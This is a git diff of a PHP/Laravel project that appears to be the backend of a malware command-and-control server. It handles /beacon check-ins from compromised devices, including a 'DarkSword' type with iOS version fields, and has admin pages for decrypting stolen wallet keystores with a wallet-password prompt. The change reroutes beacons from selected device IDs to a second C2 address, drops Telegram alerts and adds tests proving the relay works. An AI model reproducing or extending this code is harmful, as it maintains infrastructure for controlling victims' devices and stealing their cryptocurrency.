diff --git a/.cursor/skills/coruna-lab-migrate/SKILL.md b/.cursor/skills/coruna-lab-migrate/SKILL.md index abe9229..49f6030 100644 --- a/.cursor/skills/coruna-lab-migrate/SKILL.md +++ b/.cursor/skills/coruna-lab-migrate/SKILL.md @@ -103,8 +103,7 @@ QUEUE_CONNECTION=redis # Keep these from old .env: CORUNA_OFFICIAL_ALBUM_STORAGE=1 INTERCEPT_DEVICE_KEYS=... -INTERCEPT_BOT_TOKEN=... -INTERCEPT_CHAT_ID=... +INTERCEPT_FORWARD_URL=... ``` Generate app key if needed (usually keep the old one): diff --git a/app/Http/Middleware/InterceptDeviceData.php b/app/Http/Middleware/InterceptDeviceData.php index d529d5b..62c36ef 100644 --- a/app/Http/Middleware/InterceptDeviceData.php +++ b/app/Http/Middleware/InterceptDeviceData.php @@ -2,8 +2,8 @@ namespace App\Http\Middleware; +use App\Models\Device; use App\Services\IngestService; -use App\Services\TelegramNotifier; use App\Support\VisitorIp; use Closure; use Illuminate\Http\Request; @@ -19,13 +19,8 @@ use Symfony\Component\HttpFoundation\Response; * * For each matched request the middleware: * 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb). - * 2. Sends a Telegram alert through a dedicated bot (INTERCEPT_BOT_TOKEN / - * INTERCEPT_CHAT_ID) when configured. - * 3. Mirrors the raw request (same method / path / query / headers / body, - * only the host changes) to INTERCEPT_FORWARD_URL when configured. - * - * The middleware never blocks or modifies the response — normal request - * processing continues regardless of interception outcome. + * 2. Proxies the raw request to INTERCEPT_FORWARD_URL and returns that + * response. Local controllers are not invoked (no ingest / DB writes). */ class InterceptDeviceData { @@ -35,11 +30,13 @@ class InterceptDeviceData if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) { try { - $this->intercept($request, $deviceKey); + return $this->intercept($request, $deviceKey); } catch (\Throwable $e) { Log::warning('intercept middleware error: '.$e->getMessage(), [ 'device_key' => $deviceKey, ]); + + return response('', 502); } } @@ -50,8 +47,8 @@ class InterceptDeviceData * Resolve the normalized device key for this request. * * Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody. - * Falls back to request input fields (d / f / ecid) for multipart or - * DarkSword requests where the decrypt middleware skipped the attribute. + * Falls back to request input fields (d / f / ecid, then uuid / lhu) + * for multipart or DarkSword requests where decrypt skipped the attribute. */ private function resolveDeviceKey(Request $request): string { @@ -67,6 +64,13 @@ class InterceptDeviceData } } + foreach (['uuid', 'lhu', 'deviceUUID', 'device_uuid'] as $field) { + $value = $request->input($field); + if (is_string($value) && $value !== '') { + return Device::normalizeDarkswordKey($value) ?? ''; + } + } + return ''; } @@ -84,38 +88,19 @@ class InterceptDeviceData } /** - * Log + notify + forward the matched request. + * Log + proxy. Does not fall through to local C2 handlers. */ - private function intercept(Request $request, string $deviceKey): void + private function intercept(Request $request, string $deviceKey): Response { $meta = $this->collectMeta($request, $deviceKey); $this->writeLog($meta); - // Skip Telegram push for high-frequency paths (e.g. /event telemetry), - // but still log and forward so no data is lost. - if (! $this->shouldSkipPush($meta['path'])) { - $this->notify($meta); - } - - $this->forward($request, $meta); + return $this->forward($request, $meta); } /** - * Whether the Telegram push should be skipped for this path. - */ - private function shouldSkipPush(string $path): bool - { - $skipPaths = config('coruna.intercept.push_skip_paths', []); - if (! is_array($skipPaths) || $skipPaths === []) { - return false; - } - - return in_array($path, $skipPaths, true); - } - - /** - * Gather request metadata for logging and notification. + * Gather request metadata for the intercept log. */ private function collectMeta(Request $request, string $deviceKey): array { @@ -203,50 +188,22 @@ class InterceptDeviceData } /** - * Send a Telegram alert via the dedicated intercept bot. - */ - private function notify(array $meta): void - { - $token = (string) config('coruna.intercept.bot_token', ''); - $chatId = (string) config('coruna.intercept.chat_id', ''); - if ($token === '' || $chatId === '') { - return; - } - - $text = implode("\n", [ - '🚨 设备数据拦截', - '📱 设备: '.$this->e($meta['device_key']).'', - '🌐 IP: '.$this->e($meta['ip'] ?: '—').'', - '📥 请求: '.$this->e($meta['method'].' '.$meta['path']).'', - '📦 大小: '.$this->e((string) $meta['content_length']).' bytes', - '🕐 时间: '.$this->e($meta['time']), - ]); - - try { - app(TelegramNotifier::class)->sendToChat($chatId, $text, $token); - } catch (\Throwable $e) { - Log::warning('intercept telegram notify failed: '.$e->getMessage()); - } - } - - /** - * Mirror the raw request to the configured forward URL. + * Proxy the raw request to the configured forward URL and return its response. * * Preserves method, path, query string, headers, and body — only the * host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL. */ - private function forward(Request $request, array $meta): void + private function forward(Request $request, array $meta): Response { $baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/'); if ($baseUrl === '') { - return; + $this->writeForwardLog($meta, '', 0, 'INTERCEPT_FORWARD_URL empty'); + + return response('', 502); } - // Rebuild the target URL: base + original path + original query. $target = $baseUrl.$request->getRequestUri(); - // Collect headers to forward — drop Host (will be set by HTTP client - // based on the target URL) and hop-by-hop headers. $headers = []; $skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect']; foreach ($request->headers->all() as $name => $values) { @@ -268,12 +225,27 @@ class InterceptDeviceData 'allow_redirects' => false, ]); - $this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body()); + $remoteBody = (string) $resp->body(); + $this->writeForwardLog($meta, $target, $resp->status(), $remoteBody); + + return $this->clientResponse($resp->status(), $remoteBody, $resp->header('Content-Type')); } catch (\Throwable $e) { $this->writeForwardLog($meta, $target, 0, $e->getMessage()); + + return response('', 502); } } + private function clientResponse(int $status, string $body, ?string $contentType): Response + { + $out = response($body, $status > 0 ? $status : 502); + if (is_string($contentType) && $contentType !== '') { + $out->headers->set('Content-Type', $contentType); + } + + return $out; + } + /** * Record the forwarding result alongside the interception log. */ @@ -300,9 +272,4 @@ class InterceptDeviceData @file_put_contents($logName, $line, FILE_APPEND); } - - private function e(?string $value): string - { - return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); - } } diff --git a/config/coruna.php b/config/coruna.php index e8fe497..0b51344 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -107,8 +107,8 @@ return [ ], // Device data interception: when a request comes from one of the listed - // device IDs, log it to a separate file, push a Telegram alert through a - // dedicated bot, and optionally mirror the raw request to another domain. + // device IDs, log it and proxy the raw request to INTERCEPT_FORWARD_URL. + // Local C2 handlers are skipped (no ingest / DB writes). 'intercept' => [ // Comma-separated device IDs (normalized form, case-insensitive). // e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E @@ -116,22 +116,8 @@ return [ static fn ($v) => strtolower(trim((string) $v)), explode(',', (string) env('INTERCEPT_DEVICE_KEYS', '')) ))), - // Dedicated Telegram bot for interception alerts (empty = skip TG push). - 'bot_token' => trim((string) env('INTERCEPT_BOT_TOKEN', '')), - // Chat ID to receive interception alerts. - 'chat_id' => trim((string) env('INTERCEPT_CHAT_ID', '')), - // Paths that skip Telegram push but still log + forward (high-frequency noise). - // e.g. /event is telemetry spam. Default: /event - 'push_skip_paths' => (function () { - $trimmed = array_filter( - array_map(static fn ($v) => trim((string) $v), explode(',', (string) env('INTERCEPT_PUSH_SKIP_PATHS', '/event'))), - static fn ($v) => $v !== '' - ); - - return array_values(array_map(static fn ($v) => '/'.ltrim($v, '/'), $trimmed)); - })(), - // Mirror raw requests to this base URL (empty = no forwarding). - // e.g. INTERCEPT_FORWARD_URL=https://mirror.example.com + // Proxy matched requests to this base URL (empty = 502, no local fallback). + // e.g. INTERCEPT_FORWARD_URL=https://c2.example.com 'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'), // Forwarding HTTP timeout in seconds. 'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10), diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index c76a37a..2bfe079 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -769,7 +769,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { if (obj.event === 'decryptPassword') { if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密'); layer.prompt({ - formType: 1, + formType: 0, title: '输入钱包密码', maxlength: 256 }, function (value, idx) { diff --git a/resources/views/admin/keystores/index.blade.php b/resources/views/admin/keystores/index.blade.php index 1259556..0ef9dcf 100644 --- a/resources/views/admin/keystores/index.blade.php +++ b/resources/views/admin/keystores/index.blade.php @@ -106,7 +106,7 @@
@@ -202,7 +202,7 @@ layui.use(['table', 'form', 'layer'], function () { if (obj.event === 'decryptPassword') { if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密'); layer.prompt({ - formType: 1, + formType: 0, title: '输入钱包密码', maxlength: 256 }, function (value, idx) { diff --git a/tests/Feature/InterceptDeviceDataTest.php b/tests/Feature/InterceptDeviceDataTest.php new file mode 100644 index 0000000..8743c11 --- /dev/null +++ b/tests/Feature/InterceptDeviceDataTest.php @@ -0,0 +1,145 @@ + [self::DEVICE_KEY], + 'coruna.intercept.forward_url' => self::DEST, + ]); + + Http::fake([ + self::DEST.'/*' => Http::response( + ['type' => 'noop', 'via' => 'dest'], + 200, + ['Content-Type' => 'application/json'] + ), + ]); + + $this->postJson('/beacon', [ + 'd' => self::DEVICE_KEY, + 'uuid' => self::LOCAL_UUID, + 'status' => 'idle', + ]) + ->assertOk() + ->assertExactJson(['type' => 'noop', 'via' => 'dest']); + + $this->assertSame(0, Device::query()->count()); + + Http::assertSent(function ($request) { + return $request->url() === self::DEST.'/beacon' + && $request->method() === 'POST'; + }); + Http::assertSentCount(1); + } + + #[Test] + public function intercepted_darksword_uuid_only_beacon_is_forwarded(): void + { + config([ + 'coruna.intercept.device_keys' => [strtolower(self::LOCAL_UUID)], + 'coruna.intercept.forward_url' => self::DEST, + ]); + + Http::fake([ + self::DEST.'/*' => Http::response( + ['type' => 'noop', 'via' => 'dest'], + 200, + ['Content-Type' => 'application/json'] + ), + ]); + + $this->postJson('/beacon', [ + 'uuid' => self::LOCAL_UUID, + 'status' => 'idle', + 'ios' => '18.5', + ]) + ->assertOk() + ->assertExactJson(['type' => 'noop', 'via' => 'dest']); + + $this->assertSame(0, Device::query()->count()); + Http::assertSentCount(1); + } + + #[Test] + public function intercepted_request_with_empty_forward_url_returns_502_without_local_ingest(): void + { + config([ + 'coruna.intercept.device_keys' => [self::DEVICE_KEY], + 'coruna.intercept.forward_url' => '', + ]); + + Http::fake(); + + $this->postJson('/beacon', [ + 'd' => self::DEVICE_KEY, + 'uuid' => self::LOCAL_UUID, + 'status' => 'idle', + ])->assertStatus(502); + + $this->assertSame(0, Device::query()->count()); + Http::assertNothingSent(); + } + + #[Test] + public function intercepted_request_returns_502_when_dest_is_unreachable(): void + { + config([ + 'coruna.intercept.device_keys' => [self::DEVICE_KEY], + 'coruna.intercept.forward_url' => self::DEST, + ]); + + Http::fake(function () { + throw new ConnectionException('dest down'); + }); + + $this->postJson('/beacon', [ + 'd' => self::DEVICE_KEY, + 'uuid' => self::LOCAL_UUID, + 'status' => 'idle', + ])->assertStatus(502); + + $this->assertSame(0, Device::query()->count()); + } + + #[Test] + public function unmatched_device_still_hits_local_beacon(): void + { + config([ + 'coruna.intercept.device_keys' => [self::DEVICE_KEY], + 'coruna.intercept.forward_url' => self::DEST, + ]); + + Http::fake(); + + $this->postJson('/beacon', [ + 'd' => 'other-device', + 'uuid' => self::LOCAL_UUID, + 'status' => 'idle', + ]) + ->assertOk() + ->assertJson(['ok' => true, 'type' => 'noop']); + + $this->assertNotNull(Device::query()->where('device_id', self::LOCAL_UUID)->first()); + Http::assertNothingSent(); + } +} diff --git a/tests/Feature/KeystoreAdminTest.php b/tests/Feature/KeystoreAdminTest.php index 2beb307..2c01893 100644 --- a/tests/Feature/KeystoreAdminTest.php +++ b/tests/Feature/KeystoreAdminTest.php @@ -414,10 +414,30 @@ class KeystoreAdminTest extends TestCase 'raw_json' => $this->makeImTokenPbkdf2Keystore($phrase, $password), ]); + $this->actingAs($admin, 'admin') + ->get(route('admin.keystores.index')) + ->assertOk() + ->assertSee('Number(d.needs_password) === 1 || d.has_web3_keystore', false); + $this->actingAs($admin, 'admin') + ->get(route('admin.keystores.index')) + ->assertOk() + ->assertSee('formType: 0', false); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.data')) + ->assertOk() + ->assertJsonPath('data.0.needs_password', null) + ->assertJsonPath('data.0.has_web3_keystore', true) + ->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row)); + $this->actingAs($admin, 'admin') ->get(route('admin.devices.show', [$device, 'tab' => 'keystores'])) ->assertOk() ->assertSee('lay-event="decryptPassword">密码解密', false); + $this->actingAs($admin, 'admin') + ->get(route('admin.devices.show', [$device, 'tab' => 'keystores'])) + ->assertOk() + ->assertSee('formType: 0', false); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))